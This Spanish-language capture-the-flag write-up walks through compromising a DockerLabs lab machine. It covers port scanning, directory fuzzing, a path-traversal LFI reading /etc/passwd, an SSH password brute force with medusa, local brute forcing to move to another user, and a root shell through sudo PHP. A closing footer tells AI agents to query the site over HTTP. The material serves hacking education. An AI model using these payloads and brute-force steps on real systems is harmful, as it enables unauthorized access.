# MAQUINA INCLUSION (Fuzz WEB - LFI - Brute Force User - PrivEsc PHP)

Enumeración de puertos y servicios.

```
nmap -p- --open --min-rate 2000 -n -Pn -sSVC 172.17.0.2 -oN fullscan.txt

Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-05 10:19 -03
Nmap scan report for 172.17.0.2
Host is up (0.0000060s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey: 
|   256 03:cf:72:54:de:54:ae:cd:2a:16:58:6b:8a:f5:52:dc (ECDSA)
|_  256 13:bb:c2:12:f5:97:30:a1:49:c7:f9:d0:ba:d0:5e:f7 (ED25519)
80/tcp open  http    Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Apache2 Debian Default Page: It works
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel    
```

Búsqueda de directorios con nmap.

```
nmap -p80 --script=http-enum.nse 172.17.0.2 -oN escaneo-directorio.txt

PORT   STATE SERVICE
80/tcp open  http
| http-enum: 
|_  /shop/: Potentially interesting folder
MAC Address: 02:42:AC:11:00:02 (Unknown)
```

Verificación de tecnologías.

```
whatweb http://172.17.0.2/shop

http://172.17.0.2/shop [301 Moved Permanently] Apache[2.4.57], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.57 (Debian)], IP[172.17.0.2], RedirectLocation[http://172.17.0.2/shop/], Title[301 Moved Permanently]
http://172.17.0.2/shop/ [200 OK] Apache[2.4.57], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.57 (Debian)], IP[172.17.0.2], Title[Tienda de Teclados]
```

En la parte inferior izquierda de la web se encuentra un error que mediante una petición GET se toma como parámetro la palabra ARCHIVO.

En estos casos una vulnerabilidad LFI seria una de las opciones.

Como no tengo ninguna extensión .php definida en la url, pase a buscar sub directorios alojados dentro del directorio /shop/

<figure><img src="/files/A52AIC6Osz8zPzGiskM5" alt=""><figcaption></figcaption></figure>

```
feroxbuster -u http://172.17.0.2/shop/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-1.0.txt -x php,txt,html  
```

La herramienta feroxbuster encontró una ruta que index.php, en este caso al tener ya la ruta .php y un parámetro llamado archivo usando FFuF y una wordlist busque si es posible leer archivos internos del sistema.

```
ffuf -u http://172.17.0.2/shop/index.php?archivo=FUZZ -w /usr/share/wordlists/seclists/Fuzzing/LFI/LFI-Jhaddix.txt -fs 1112 -fl 45
```

```
http://172.17.0.2/shop/index.php?archivo=../../../../../../etc/passwd&=%3C%3C%3C%3C
```

<figure><img src="/files/IL7x9Vl6SOOBDU0FuYFA" alt=""><figcaption></figcaption></figure>

Al leer el /etc/passwd, note 2 usuarios del sistema, manchi y seller.

Como no se puede ver la id\_rsa de cada uno, opte usar fuerza bruta para sacar la password.

```
medusa -u manchi -P /usr/share/wordlists/rockyou.txt -h 172.17.0.2 -T4 -M ssh -n 22

2025-07-05 11:37:52 ACCOUNT FOUND: [ssh] Host: 172.17.0.2 User: manchi Password: lovely [SUCCESS]

```

Se logro dar con la password de manchi, ahora mediante ssh ingreso dentro de la maquina, luego allí realice la enumeración correspondiente.

Como tengo el usuario seller, lo que intente fue buscar alguna password de este usuario para poder moverme lateralmente a ese usuario.

Agote todas las rutas de escalada como sudo, SUID, cronjobs, exploits, etc. por lo que me quedo hacer fuerza bruta localmente para dar con la password de SELLER.

Al no tener wget ni get use scp para trasladarme 2 archivos, el script de FB y el rockyou.

```
scp LB_force.sh manchi@172.17.0.2:/tmp/LB_force.sh
manchi@172.17.0.2's password: 
LB_force.sh 
```

```
scp rockyou.txt  manchi@172.17.0.2:/tmp/rock.txt
manchi@172.17.0.2's password: 
rockyou.txt 
```

<figure><img src="/files/pG9cbhM619FKYcsnja37" alt=""><figcaption></figcaption></figure>

Con éxito di con la password correcta y logre acceso como seller, luego al ejecutar el comando sudo -l vi que binario vulnerable.

```
seller@27653f120f22:/tmp$ sudo -l
(ALL) NOPASSWD: /usr/bin/php
```

```
sudo -u root php -r "system('/bin/bash');"
```

Root


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://1gnotus.gitbook.io/ignotus_pwn/dockerlabs/writeup/maquina-inclusion-fuzz-web-lfi-brute-force-user-privesc-php.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
